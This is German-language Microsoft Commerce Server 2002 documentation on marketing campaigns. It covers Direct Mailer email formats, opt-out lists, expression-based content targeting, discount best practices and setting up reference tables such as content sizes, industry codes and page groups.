  • MHTML (MIME Encapsulation of Aggregate HTML Documents). Sendet eine Webseite teilweise oder vollständig in Form einer Nachricht. Die Nachricht kann dabei die HTML-Formatierung, Grafiken und andere Elemente der Originalwebseite oder Teile davon enthalten.
MHTML basiert auf dem MIME-Standard und bietet eine flexiblere Übertragung von HTML-Dokumenten. Die Nachricht kann in einem mehrteiligen/verwandten MIME-Textteil weitere verknüpfte Dokumente enthalten. Die HTML-Verknüpfungen auf andere Teile des Dokuments können als CID-URLs (Content-ID) oder als andere URL-Typen realisiert werden. Der verknüpfte Textteil wird in seiner Kopfzeile entweder durch eine Content-ID (Verknüpfung durch CID-URLs) oder durch eine Content-Location (Verknüpfung durch andere URL-Typen) gekennzeichnet.

Wenn der Direct Mailer-Dienst E-Mails nicht im MHTML-Format erstellen, sondern in der E-Mail-Nachricht nur den unveränderten HTML-Code der ASP-Seite versenden soll, müssen Sie im Pfad "Laufwerk:\Programme\Microsoft Commerce Server 2002" im Abschnitt "Compose e-mail" der Datei DMLPIPE.PCF die Komponente "ComposeDMLMessage" bearbeiten. Die ComposeDMLMessage-Komponente ist für das Format des Nachrichtentextes zuständig.

Die folgenden Abbildungen zeigen E-Mail-Nachrichten in jeweils einem der drei Nachrichtenformate (Text, MIME und MHTML) an, sobald HTML-Inhalt für die folgende ASP-Seite erkannt wird:

<html>

<body>

<h1>SPRING SALE !!!</h1>

<img src=http://<server name>/SKY.JPG height=100 width=100 />

</body>

</html>

Die folgende Abbildung zeigt eine im Nachrichtenformat "Text" gesendete Nachricht an. Dabei werden alle HTML-Objekte entfernt, und es wird ausschließlich der Text versendet.

Hinweis

Der folgende Screenshot stammt aus Outlook Express. In anderen E-Mail-Clients kann die Oberfläche etwas anders aussehen.

Die folgende Abbildung zeigt eine im Nachrichtenformat MIME gesendete Nachricht an. Die HTML-Objekte werden im MIME-Format codiert, die Bilddatei SKY.JGP aus dem Pfad in der ASP-Seite geladen und als Anhang angefügt. Die Nachricht besteht ausschließlich aus dem Nachrichtentext.

Die folgende Abbildung zeigt eine im Nachrichtenformat MHTML gesendete Nachricht an. Die HTML-Objekte werden als Bilder im MHTML-Format codiert und die Bilddatei SKY.JGP aus dem Pfad in der ASP-Seite geladen. Das Bild BASE-64 wird codiert und ihm eine CID zugewiesen, mit der intern das SRC-Attribut verknüpft wird.

Wichtig

  • Die drei in Business Desk verfügbaren Nachrichtenformate (Text, MIME und MHTML) sind die Standardwerte beim Erstellen von Direktsendungskampagnen und werden nur dann verwendet, wenn das benutzerdefinierte E-Mail-Format gleich NULL ist. Wenn ein benutzerdefiniertes E-Mail-Format beim Erstellen oder Importieren der Adressenliste festgelegt wurde, wird dieses zum Senden der Direktsendung verwendet.

Siehe auch

Informationen zu Kampagnen

Direktsendungen

Erstellen einer Direktsendung

Hinzufügen von Direktsendungseigenschaften

Verwalten von Listen mit Benutzereinträgen


Abonnementkündigungslisten

Direct Mailer unterstützt eine Funktion zur Abonnementkündigung. Bei Direktsendungsaufträgen, die als Teil eines Kampagnenartikels ausgeführt werden, können einzelne Empfänger ihr Abonnement des Direktsendungs-Kampagnenartikels kündigen. Dies geschieht durch Verwendung einer Active Server Page (ASP), über die sich Benutzer eigenständig in eine Abonnementkündigungsliste eintragen können.

Die ASP-Abonnementkündigungsliste wird im Zusammenhang mit der ASP-Seite "ServiceReminder" verwendet, mit deren Hilfe Direct Mailer-Inhalte erstellt werden können. Sofern diese Seite implementiert ist, sendet sie personalisierte E-Mail-Nachrichten, in denen Ihre Kunden daran erinnert werden, sich in Ihrer Website neue Produkte anzuschauen. Die ASP-Seite enthält ferner einen Link, über den Benutzer ihren Eintrag aus der Adressenliste entfernen können.

Auf der ASP-Seite für die Direct Mailer-Aufträge kann ein Siteentwickler Links zu einer opt-out.asp-Seite anbieten. Auf dieser Seite können Empfänger über den entsprechenden Link entweder ihr Abonnement für alle Site-Adressenlisten oder den Direktsendungskampagnenartikel kündigen. Wenn ein Direct Mailer-Auftrag als Teil eines Kampagnenartikels ausgeführt wird, prüft Direct Mailer, ob eine Abonnementkündigungsliste auf Siteebene oder auf Kampagnenebene vorhanden ist. Falls eine dieser Listen vorhanden ist, wird sie von der ursprünglichen Adressenliste abgezogen. Die so erhaltene Liste fungiert dann als neue Adressenliste.

Siehe auch

Informationen zu Kampagnen

Direktsendungen

Erstellen einer Direktsendung


Verarbeiten von Direktsendungen

Direct Mailer bietet eine Befehlszeilenschnittstelle, über die Sie Direct Mailer-Aufträge erstellen, ausführen und überwachen sowie Start- und Wiederherstellungstasks für Aufträge durchführen können. Zum Konfigurieren von Eigenschaften für Direct Mailer verwenden Sie Commerce Server-Manager.

Direct Mailer führt die folgenden Tasks aus:

  • Versenden der E-Mail-Nachrichten an die Empfänger
  • Verarbeiten sich wiederholender E-Mail-Nachrichten als Direct Mailer-Aufträge
  • Vorbereiten nicht personalisierter Nachrichtentexten aus einer nichtformatierten Textdatei
  • Erstellen von personalisierten Nachrichten aus einer ASP-Seite
  • Formatieren von E-Mail-Nachrichtenköpfen
  • Einrichten des Werts für die Codepage (Wert in Direktsendungslisten, z. B. US-ASCII, und ISO-8859-1) und Konvertieren des Nachrichtentextes in den richtigen Nachrichtentyp: Text-, Multipurpose Internet Mail Extensions- (MIME) oder MIME Encapsulation of Aggregate HTML-Dokumente (MHTML).
  • Schnelle Verarbeitung umfangreicher Empfängerlisten, an die E-Mail-Nachrichten verteilt werden sollen
  • Möglichkeit für Dateianhänge

Die Direct Mailer-Pipeline wird zum Verarbeiten von Empfängerlisten verwendet. Sie haben die Möglichkeit, neue Komponenten zur Pipeline hinzuzufügen, die Komponenten in branchenspezifische Systeme zu integrieren oder diese durch Komponenten von Drittanbietern zu ersetzen.

Siehe auch

Informationen zu Kampagnen

Direktsendungen

Erstellen einer Direktsendung

Verwalten von Listen mit Benutzereinträgen


Zielgruppenadressierung und Personalisierung

Bei der Zielgruppenadressierung und Personalisierung werden personalisierte Inhalte an einen oder mehrere Benutzer bzw. eine andere Geschäftseinheit mit einem Profil übertragen. Wenn Sie beispielsweise eine Sportwebsite betreiben, möchten Sie Informationen über Tennis nur an Tennisspieler bzw. Benutzer, die sich für Tennis interessieren, übermitteln. An diese Benutzer könnten Sie dann Ankündigungen über bevorstehende Tennisturniere sowie Anzeigen und Promotions für Tennisprodukte liefern.

    Mit Commerce Server 2002 können Sie eine ausdrucksbasierte Zielgruppenadressierung ausführen, die auch explizite Zielgruppenadressierung genannt wird. Diese Form der Zielgruppenadressierung wird eingesetzt, wenn Ihnen die Profileigenschaften der Benutzer bekannt sind, denen Sie Inhalte liefern, bzw. wenn Sie den Kontext und die zu liefernden Inhalte kennen.

    Mithilfe der Kampagnenmodule in Commerce Server Business Desk können diese Informationen definiert und Inhalte an den Benutzer übertragen werden. Die ausdrucksbasierte Zielgruppenadressierung erleichtert Ihnen die Übertragung von Inhalten, die für die Empfänger von Interesse sein könnten. Benutzer kehren eher zu Ihrer Site zurück, wenn sie eine personalisierte Umgebung erwartet.

    Dieser Abschnitt beinhaltet folgende Themen:

    • Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung
    • Ausdrucksbasierte Zielgruppenadressierung
    • Der Ausdrucks-Generator
    • Verarbeiten von Ausdrücken


Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung

Inhalte lassen sich zielgerichtet an jedes geschäftsbezogene Element mit einem Profil liefern. So können Sie z. B. die Zielgruppenadressierung von Inhalten an anonyme und registrierte Benutzer, Firmen oder Kontexte einsetzen. Begriffsinformationen über Profile finden Sie unter Informationen über Profile.

Mit Business Desk liefern Sie Inhalte zielgerichtet an geschäftsbezogene Elemente. Sie können die folgenden Aktionen durchführen:

  • Erstellen Sie eine Direktsendungskampagne, die personalisierte E-Mail-Nachrichten an Benutzer übermittelt.
  • Liefern Sie Inhalte (z. B. Anzeigen) an Benutzer basierend auf bestimmten Benutzerprofileigenschaften. So können Sie z. B. Benutzern, die als Lieblingssport "Fahrrad fahren" angegeben haben, Anzeigen für Mountainbikes anzeigen.
  • Identifizieren Sie Gruppen von Webseiten, und erstellen Sie dann zielgerichtet Inhalte, die nur auf diesen Seiten angezeigt werden bzw. nur, wenn Benutzer mit bestimmten Eigenschaften auf diese Seiten zugreifen.
  • Zeigen Sie Inhalte auf einer Seite an, die auf den Eigenschaften von anderen Inhalten der Seite basieren. Beispiel: Wenn Ihre Website Nachrichten anbietet, können Sie den Inhalten Profile zuweisen, die bestimmen, ob die Eigenschaft "Wetter_Typ" den Wert "Heiß" oder "Kalt" hat. Wenn "Wetter_Typ = Heiß", können Sie Anzeigen für Klimaanlagen anzeigen.
  • Wenden Sie Preisnachlässe auf bestimmte Produkte in Ihrem Katalog an, basierend auf den Produkteigenschaften oder auf dem Benutzerprofil.
  • Bestimmen Sie, wann ein Preisnachlass angezeigt und wann er auf eine Bestellung angewendet werden soll. Sie können den Preisnachlass z. B. anwenden, wenn Benutzer einen Artikel in den Warenkorb legen oder wenn sie die Bestellung abschließen.

Siehe auch

Ausdrucksbasierte Zielgruppenadressierung

Der Ausdrucks-Generator

Verarbeiten von Ausdrücken


Ausdrucksbasierte Zielgruppenadressierung

Bei der ausdrucksbasierten Zielgruppenadressierung werden Ausdrücke erstellt, mit denen die Benutzer bzw. Kontexte, an die Sie sich zielgerichtet wenden möchten, sowie die gewünschten Inhalte definiert werden. Ein Ausdruck ist eine Bedingung, die unter Verwendung von Profilen ausgewertet wird. Dadurch wird bestimmt, ob Inhalt geliefert oder eine andere Aktion ausgeführt werden soll. Ein Beispiel eines solchen Ausdrucks ist Benutzer.Gesamtbesuche > 100. Wenn dieser Ausdruck als "Wahr" ausgewertet wird, werden dem Benutzer bestimmte Inhalte angezeigt.

Mithilfe der Kampagnenmodule in Business Desk können Sie Ausdrücke erstellen und diese mit einer Aktion verknüpfen, die nach der Bewertung des Ausdrucks ausgeführt wird. Es stehen zwei Arten von Ausdrücken zur Verfügung.

  • Zielausdrücke. Diese Ausdrücke identifizieren, wo, wann und wem Inhalte angezeigt werden sollen. Sie können beispielsweise den Inhalt auf Benutzer ausrichten, die spezielle Profileigenschaften besitzen. Außerdem lassen sich Inhalte zielgerichtet in bestimmten Bereichen einer Website (so genannten Seitengruppen) anzeigen. So können Sie beispielsweise einen Zielausdruck erstellen, durch den bestimmte Anzeigen nur auf Sportseiten angezeigt werden.
  • Katalogausdrücke. Diese Ausdrücke definieren die Katalogprodukte, auf die ein Preisnachlass angewendet werden kann. Ein Beispiel eines Katalogausdrucks ist Produkt.Preis = 20,00. Wenn dieser Ausdruck für ein bestimmtes Produkt als "Wahr" ausgewertet wird, wird beim Hinzufügen des Produkts in den Warenkorb ein Preisnachlass in Höhe von 10 % angewendet.

Zielgruppen

Nachdem Sie mehrere Zielausdrücke erstellt haben, können Sie diese in Form einer Zielgruppe kombinieren. Eine Zielgruppe ist eine Sammlung von Ausdrücken und Aktionen. So können Sie z. B. einen Ausdruck erstellen, mit dem Benutzern, die die Site schon zehnmal besucht haben, bestimmte Inhalte angezeigt werden. Mit einem anderen Ausdruck können Sie Benutzern, die z. B. ein Fußballtrikot gekauft haben, entsprechende Inhalte anzeigen. Diese beiden Ausdrücke können mit den Anweisungen AND oder OR in einer Zielgruppe kombiniert werden. Zum Beispiel:

Wenn ein Benutzer die Site 10-mal besucht UND ein Fußballtrikot gekauft hat, wird eine Anzeige für einen Fußballartikel angezeigt.

Ausdrücke werden in einer Zielgruppe durch Angabe der Aktion kombiniert, die ausgeführt werden soll, wenn der Ausdruck als "Wahr" ausgewertet wird. Jede Aktion verfügt über zwei Multiplikatoren: Einer wird angewendet, wenn der Ausdruck wahr ist; der andere, wenn der Ausdruck falsch ist. Wenn der Multiplikator angewendet wird, erhält der Ausdruck ein Ergebnis. Dieses bestimmt, ob die Inhalte geliefert werden können. Sie können folgende Aktionen definieren:

  • Ziel. Wenn der Ausdruck als "Wahr" ausgewertet wird, wird der Ergebniswert erhöht. Dadurch erhöht sich auch die Wahrscheinlichkeit dafür, dass die Inhalte angezeigt werden. Falls der Ausdruck zu "Falsch" ausgewertet wird, ändert sich der Ergebniswert nicht. In beiden Fällen können die Inhalte geliefert werden.
  • Erforderlich. Bei Auswertung des Ausdrucks als "Wahr" können die Inhalte geliefert werden. Wird der Ausdruck als "Falsch" ausgewertet, können die Inhalte nicht geliefert werden.
  • Ausschließen. Bei Auswertung des Ausdrucks als "Wahr" können die Inhalte nicht geliefert werden. Wird der Ausdruck dagegen als "Falsch" ausgewertet, können die Inhalte geliefert werden.
  • Sponsor. Bei Auswertung des Ausdrucks als "Wahr" können die Inhalte geliefert werden. Weitere Inhalte können nur geliefert werden, wenn es für diese einen Ausdruck mit einer Aktion = Sponsor gibt. (Sponsor besitzt nur einen Multiplikator.) Beispiel: Wenn Microsoft als Sponsor einer Anzeige auf einer Homepage auftritt, werden nur Microsoft-Anzeigen angezeigt. Wenn die Homepage jedoch weitere Sponsoren hat, können auch die Anzeigen dieser Firmen angezeigt werden.

Siteentwickler können die Werte der Multiplikatoren in Commerce Server verändern. Dies kann z. B. nützlich sein, wenn bestimmte Ausdrücke mit einem Aktionstyp eine höhere Priorität als Ausdrücke mit einem anderen Aktionstyp erhalten sollen.

Siehe auch

Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung

Der Ausdrucks-Generator

Verarbeiten von Ausdrücken


Der Ausdrucks-Generator

Der Ausdrucks-Generator ist ein Feature in Commerce Server, mit dem Businessmanager Ausdrücke erstellen, bearbeiten und anzeigen können. Der Ausdrucks-Generator liefert die Benutzeroberfläche zur Erstellung von Ausdrücken. Er greift bei der Ausdruckserstellung auf die entsprechenden Eigenschaften zu und benennt und speichert den Ausdruck dann in den Commerce Server-Datenbanken.

Der Ausdrucks-Generator ist so ausgelegt, dass Siteentwickler seine Funktionalität und Benutzeroberfläche mühelos in andere Business Desk-Module einbetten können. Außerdem kann der Ausdrucks-Generator von Webanwendungen aufgerufen werden, die Ausdrücke verwenden und bearbeiten. Dies ermöglicht die Integration in andere Prozesse. So lässt sich z. B. die Funktionalität des Ausdrucks-Generators in einen bereits vorhandenen Content Management-Prozess integrieren. Dies wiederum ermöglicht die Zielgruppenadressierung von Inhalten an Benutzer.

So erstellen Sie Anwendungen, die den Ausdrucks-Generator verwenden

  • Definieren von Profilen. In diesem Schritt definieren Sie die Profile, die vom Ausdruck verwendet werden sollen. Der Ausdrucks-Generator lädt anschließend diese Profildefinitionen, um den Ausdruck zu erstellen. Sie können auch einen Profileigenschaftenfilter angeben. Dieser schränkt die Eigenschaften im Profil ein, die den Benutzern des Ausdrucks-Generators zur Verfügung stehen.
  • Speichern von Ausdrücken. Hierbei können Sie den zu verwendenden Ausdrucks-/Profilspeicher angeben. Der Ausdrucks-Generator lädt und speichert dann Ausdrücke in dieser Datenbank.
  • Anzeigen von Meldungen bei Benutzern. Die Meldungen, die in der Benutzeroberfläche des Ausdrucks-Generators angezeigt werden, lassen sich an Ihre Bedürfnisse anpassen. Wenn beispielsweise der Standardtitel "Ausdruck erstellen" lautet, könnten Sie diesen Titel für Ihre Zwecke in "Anzeigenzielausdruck erstellen" ändern.

Beim Ausdrucks-Generator wird für die Benutzeroberfläche DHTML (Dynamic Hypertext Markup Language) eingesetzt. Die Stylesheets der Anwendung werden also auf die Benutzeroberfläche des Ausdrucks-Generators angewendet. Dadurch erhält Ihre Anwendung eine einheitliche Gestaltung.

Siehe auch

Ausdrucksbasierte Zielgruppenadressierung

Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung

Verarbeiten von Ausdrücken


Verarbeiten von Ausdrücken

Commerce Server führt verschiedene Schritte aus, um festzulegen, welche Inhalte einem Benutzer angezeigt werden. Folgende Komponenten werden während dieses Vorgangs verwendet:

  • ExpressionEval. Dieses Component Object Model (COM)-Objekt nimmt einen Ausdruck und Benutzerdaten als Eingabe und verarbeitet dann den Ausdruck. Die Auswertung ergibt, ob der Ausdruck "Wahr" oder "Falsch" ist.
  • Content Selection Framework (CSF). Dieses Framework auf Plattformebene enthält eine Reihe von Komponenten und Pipelines (die Inhaltsauswahlpipeline und die Ereignisverarbeitungspipeline), die die als Ergebnis des Ausdrucks auszuführende Aktion bestimmen.

Die folgende Abbildung zeigt, wie Ziel- und Katalogausdrücke, Benutzer- und Kontextdaten in den Ausdrucks-Generator eingegeben werden und zu welchen Auswertungsergebnissen dies führt (Wahr, Falsch oder undefiniert). Das Ergebnis wird in CSF eingegeben, wo die auszuführende Aktion bestimmt wird.

Darstellung der Eingabe von Ziel- und Katalogausdrücken sowie Benutzer- und Kontextdaten in die Ausdrucksbewertung.

Siehe auch

Informationen über Profile

Erstellen von Kampagnenausdrücken

Erstellen eines Katalogausdrucks

Erstellen eines Zielausdrucks

Erstellen einer Zielgruppe


Empfohlene Vorgehensweisen und Tipps zur Arbeit mit Kampagnen

Im vorliegenden Thema finden Sie Tipps für die Erstellung und Verwaltung von Kampagnen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Empfohlene Vorgehensweisen zur Arbeit mit Kampagnen
  • Tipps zur Arbeit mit Kampagnen


Empfohlene Vorgehensweisen zur Arbeit mit Kampagnen

In den folgenden Themen finden Sie Empfehlungen für die Erstellung und Verwaltung von Kampagnen.

Empfohlene Vorgehensweisen für Anzeigen

Empfohlene Vorgehensweisen für Preisnachlässe

Empfohlene Vorgehensweisen für Anzeigen

  • Verwenden Sie die Standardeinstellungen für CSF (Content Selection Framework).

    Ändern Sie die Standardeinstellungen der CSF-Komponenten nur dann, wenn es die Unternehmensrichtlinien erfordern.

  • Verwenden Sie anstelle von Zielausdrücken nach Möglichkeit Seitengruppen.

    Die Ausdrucksbewertung gestaltet sich zeitaufwändiger als das Entfernen von Seitengruppen.

Empfohlene Vorgehensweisen für Preisnachlässe

  • Jedem Preisnachlass in der Site muss eine andere Priorität zugewiesen werden.

    Wenn jedem Preisnachlass in der Site eine eigene Priorität zugewiesen ist, kann der Businessmanager feststellen, wann ein bestimmter Preisnachlass eingeräumt wird. Wenn mehrere Preisnachlässe dieselbe Priorität haben, ermittelt das System anhand des internen Algorithmus, welcher Preisnachlass angewendet wird. Auch wenn dieses Verfahren konsistent ist, sind die Ergebnisse nicht immer vorhersagbar und entsprechen nicht in dem Fall den konkreten Vorstellungen des Businessmanagers.

  • Legen Sie vor dem Erstellen eines Preisnachlasses fest, welche Ziele damit verfolgt werden.

    Um beim Erstellen eines Preisnachlasses die damit verfolgten Ziele wirklich umsetzen zu können, ist es wichtig, sich diese zu vergegenwärtigen. Das Erstellen eines Preisnachlasses ist ein komplexer Vorgang, dessen Ergebnisse sich nach den Preisnachlasskomponenten richten, wie z. B. Priorität, Bedingung, Auszeichnung und den Interaktionsrichtlinien.

  • Studieren Sie die Dokumentation für Preisnachlässe sorgfältig, bevor Sie Preisnachlässe auf Ihrer Site anwenden.
  • Testen Sie die Preisnachlässe auf einem Testserver, bevor Sie sie in der Produktionssite veröffentlichen.

    Da es sehr viele Preisnachlassszenarien gibt und Sie nicht genau voraussagen können, was ein Benutzer in seinen Warenkorb legt, empfiehlt es sich, die Preisnachlässe auf einem Testserver zu erstellen, sodass Sie die einzelnen Szenarien vor der Veröffentlichung der Preisnachlässe in der Produktionssite ausgiebig testen können.

  • Speichern Sie keinesfalls alle "(Bestellformular)._discounts" im Bestellformular.

    Das Objekt ContentList ist nicht für eine umfangreiche Serialisierung konzipiert, wodurch das Speichern aller Preisnachlässe der Form "(Bestellformular)._discounts" im Bestellformular zu Ausführungsabzügen führen kann.


Tipps zur Arbeit mit Kampagnen

Im Folgenden finden Sie Tipps zur Erstellung und Verwaltung von Kampagnen.

Tipps für Direktsendungskampagnen

Tipps für Anzeigen

Tipps für Kampagnenausdrücke

Tipps für Preisnachlässe

Tipps zum Importieren und Exportieren von Listen

Tipps zum Veröffentlichen von Kampagnen

Tipps für Direktsendungskampagnen

  • Bevor Sie eine Direktsendungskampagne erstellen können, müssen Sie sicherstellen, dass der SQL Server-Agent läuft.

    Wenn der SQL Server-Agent nicht läuft, können Sie Ihre Direktsendungskampagne nicht speichern. Wenn Sie Informationen über das Ausführen des SQL Server-Agents benötigen, wenden Sie sich an Ihren Systemadministrator.

  • Wenn der SQL Server-Agent während der Ausführung eines geplanten Direct Mailer-Auftrags angehalten wird, wird der Auftrag unterbrochen und kann nicht neu gestartet werden.

    Wird ein geplanter Auftrag auf diese Weise unterbrochen, gibt es keine Möglichkeit, zu ermitteln, ob bei der Ausführung des Auftrags ein Fehler aufgetreten ist. In diesem Fall sollten Sie zuerst den SQL Server-Agent und anschließend den Direct Mailer-Auftrag erneut starten.

Tipps für Anzeigen

  • Damit eine Anzeige auf einer Seitengruppe angezeigt werden kann, müssen die entsprechenden Seiten vom Siteentwickler für Anzeigen aktiviert werden.

    Weitere Informationen zum Aktivieren einer Seite für Anzeigen finden Sie im Ad Sitelet-Beispiel im Commerce Server 2002 Software Development Kit.

Tipps für Kampagnenausdrücke

  • In Kampagnenausdrücken werden Werte durch Semikolons (;) voneinander getrennt.

    Verwenden Sie kein Komma, da dieses nicht als Trennzeichen erkannt wird. Als Escapezeichen zur Darstellung von Semikolons wird ein umgekehrter Schrägstrich (\) verwendet. Beispielsweise können Sie einen Wert wie ABC;12 als ABC\;12 eingeben.

Tipps für Preisnachlässe

  • Wenn Sie für die Anzahl von Auszeichnungen, die ein Benutzer auf mehrere Warenkörbe erhalten kann, eine Begrenzung festlegen möchten, wenden Sie sich an Ihren Siteentwickler.

Tipps zum Importieren und Exportieren von Listen

  • Wenn Sie den Pfad einer zu importierenden oder exportierenden Datei angeben (z. B. Laufwerkbuchstabe:\Dateiname.txt), verweist der Laufwerksbuchstabe auf den Server (und nicht auf den Clientcomputer).
  • Es können nur versendbare Listen (Listen mit einer rcp_email-Spalte) in eine Datei exportiert werden.
  • Wenn Ihre Liste nicht exportiert werden kann, prüfen Sie das Windows NT-Ereignisprotokoll auf dem Business Desk-Server.

    Das Ereignisprotokoll enthält detaillierte Informationen über den aufgetretenen Fehler. Wenden Sie sich im Zweifelsfall an Ihren Systemadministrator.

  • Eine als CSV-Datei exportierte Liste kann in jeder Anwendung, die über Sortier- und Suchfunktionen verfügt, nach bestimmten Datensätzen sortiert oder durchsucht werden.

Tipps zum Veröffentlichen von Kampagnen

  • Wenn Sie nicht über die entsprechenden Berechtigungen verfügen oder Probleme mit der Datenbankverbindung auftreten, werden die neuen Kampagnenartikel bei der Aktualisierung der Site nicht übernommen.

    Darüber hinaus ist die Veröffentlichung einer neuen Kampagne nur möglich, wenn im Stammverzeichnis der Site auf jedem Webserver die ASP-Seite BDRefresh.asp vorhanden ist. Wenn Sie Ihre Site nicht aktualisieren können, wenden Sie sich an Ihren Systemadministrator.


Einrichten der Referenztabellen

Indem Sie Referenztabellen einrichten, können Sie Ihr Geschäftsmodell genau abbilden. In den Referenztabellen werden die gültigen Branchencodes, Seitengruppen und Inhaltsgrößen verwaltet. Wenn eine Seitengruppe, die von einem Kampagnenartikel verwendet wird, nicht durch die Seitengruppen in den Referenztabellen bestätigt wird, wird der Kampagnenartikel nicht in Produktion gegeben.

Im Referenztabellen-Modul können Sie Branchencodes, Seitengruppen und Inhaltsgrößen hinzufügen, die nicht standardmäßig im Lieferumfang von Commerce Server 2002 enthalten sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Festlegen von Inhaltsgrößen
  • Hinzufügen von Branchencodes
  • Hinzufügen von Seitengruppen


Festlegen von Inhaltsgrößen

Sie können die Inhaltsgröße von Kampagnenartikeln nach Bedarf festlegen. Commerce Server 2002 bietet eine Reihe standardmäßiger Inhaltsgrößen. Diese Inhaltsgrößen stammen aus einer Liste häufig verwendeter Größen, die vom Internet Advertising Bureau (IAB) genehmigt wurden. Sie werden im Referenztabellenmodul im Bereich Inhaltsgröße überprüft.

Die in den Referenztabellen enthaltenen Inhaltsgrößen stehen zur Verfügung, wenn Sie die gewünschte Größe für die Inhalte des Kampagnenartikels auswählen. Die vordefinierten Inhaltsgrößen lassen sich anzeigen, bearbeiten und löschen. Sie können aber auch eine neue Inhaltsgröße speziell für Ihre Bedürfnisse erstellen.

So legen Sie eine Inhaltsgröße fest

  1. Klicken Sie im Menü Kampagnen auf Referenztabellen.
  2. Klicken Sie im Bildschirm Referenztabellen im Bereich Inhaltsgrößen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Tag Geben Sie den Tagnamen ein.

    Bei einem Tag handelt es sich um einen Parameterwert, der an eine Inhaltsanforderung auf einer Seite weitergeleitet wird und festlegt, wie das Dokument oder ein Dokumentteil formatiert werden soll.
    Name | Geben Sie einen Namen für die neue Inhaltsgröße ein.
    Breite | Geben Sie die Breite der Inhaltsgröße in Pixel ein.
    Höhe | Geben Sie die Höhe der Inhaltsgröße in Pixel an.
  3. Klicken Sie auf Annehmen.

    Die neue Inhaltsgröße wird zu der Liste der Inhaltsgrößen hinzugefügt. Die Inhaltsgrößen werden in der Liste entsprechend der alphabetischen Reihenfolge der Tag-Attribute aufgeführt.

  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Inhaltsgröße zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die neue Inhaltsgröße wird nun gespeichert und ist verfügbar, wenn Sie Inhaltsgrößen für Kampagnenartikel auswählen.

Siehe auch

Festlegen der Größe einer Anzeige

Festlegen der Inhaltsgröße eines Preisnachlasses

Erstellen einer Anzeige

Erstellen eines Preisnachlasses

Festlegen von Inhaltsgrößen

Festlegen der Anzeigendarstellung


Hinzufügen von Branchencodes

Mithilfe von Branchencodes können Branchen definiert werden, z. B. die Automobil-, Luftfahrt- und Getränkeindustrie. Mithilfe von Branchencodes identifizieren Sie die Branche, aus der eine Anzeige stammt. So können Sie verhindern, dass zwei Anzeigen von Konkurrenzunternehmen einer Branche auf derselben Seite erscheinen. Sie können Ihre Branchencodes aktualisieren, z. B. um mit mehr als einem Getränkecode (z. B. einem für Kaffee und einem für Milch) zu arbeiten. Dadurch können Anzeigen für verschiedene Getränketypen auf derselben Seite erscheinen.

Commerce Server liefert eine Reihe gebräuchlicher Branchencodes, die Sie sofort verwenden können. Die in Anzeigen verwendeten Branchencodes werden im Referenztabellenmodul im Bereich Branchencodes überprüft. Die in den Referenztabellen enthaltenen Branchencodes sind verfügbar, wenn Sie den Branchencode für eine Anzeige auswählen. Im Referenztabellenmodul im Bereich Branchencode können Sie eine Liste aller aktuellen Branchencodes anzeigen, neue Branchencodes hinzufügen sowie bestehende Branchencodes bearbeiten bzw. löschen.

So erstellen Sie einen Branchencode

  1. Klicken Sie im Menü Kampagnen auf Referenztabellen.
  2. Klicken Sie im Bildschirm Referenztabellen im Bereich Branchencode auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Branchencode | Geben Sie einen Namen für den neuen Branchencode ein.
  3. Klicken Sie auf Annehmen.

    Der neue Branchencode wird zu der Liste der Branchencodes an der entsprechenden alphabetischen Position hinzugefügt.

  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Branchencode zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der neue Branchencode wird gespeichert und ist verfügbar, wenn Sie Branchencodes für Kampagnenartikel auswählen.

Siehe auch

Erstellen einer Anzeige

Referenztabellen


Hinzufügen von Seitengruppen

Mit Seitengruppen können Sie die Seiten einer Website festlegen, auf denen die Anzeigen angezeigt werden sollen. Mithilfe von Seitengruppen können Sie Anzeigen für bestimmte Zielgruppen auf einer speziellen oder auf allen Seiten Ihrer Site platzieren. In einer Nachrichtensite kann es z. B. eine Seitengruppe für Sport geben, wo Anzeigen im Zusammenhang mit Sport angezeigt werden. Darüber hinaus können Sie Seitengruppen verwenden, um für verschiedene Werbungstreibende unterschiedliche Gebühren festzulegen. Seitengruppen werden im Referenztabellenmodul im Bereich Seitengruppen überprüft.

Die in den Referenztabellen enthaltenen Seitengruppen stehen zur Verfügung, wenn Sie die Seite auswählen, auf der Ihr Kampagnenartikel angezeigt werden soll. Wenn eine Seitengruppe, die von einem Kampagnenartikel verwendet wird, mit der Eigenschaft Seitengruppe überprüft ist, kann der Kampagnenartikel in Produktion gegeben werden. Im Referenztabellenmodul im Bereich Seitengruppe können Sie eine Liste mit den aktuellen Seitengruppen anzeigen, neue Seitengruppen hinzufügen sowie bestehende Seitengruppen bearbeiten bzw. löschen.

Hinweis

  • Damit eine Anzeige auf einer Seitengruppe angezeigt werden kann, müssen die entsprechenden Seiten vom Siteentwickler für Anzeigen aktiviert werden. Weitere Informationen zum Aktivieren einer Seite für Anzeigen finden Sie im Ad Sitelet-Beispiel im Commerce Server 2002 Software Development Kit.

So fügen Sie eine Seitengruppe hinzu

  1. Klicken Sie im Menü Kampagnen auf Referenztabellen.
  2. Klicken Sie im Bildschirm Referenztabellen im Bereich Seitengruppen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Seitengruppe | Geben Sie einen Namen für die neue Seitengruppe ein.
    Beschreibung | Geben Sie eine Beschreibung für die Seitengruppe ein.
  3. Klicken Sie auf Annehmen.

    Die neue Seitengruppe wird zu der Liste der Seitengruppen an der entsprechenden alphabetischen Position hinzugefügt.

  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Seitengruppe zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die neue Seitengruppe wird gespeichert und ist verfügbar, wenn Sie Seitengruppen für Kampagnenartikel auswählen.

Siehe auch

Referenztabellen

Zielgruppenadressierung einer Anzeige an eine Seitengruppe


Erstellen einer Marketingkampagne

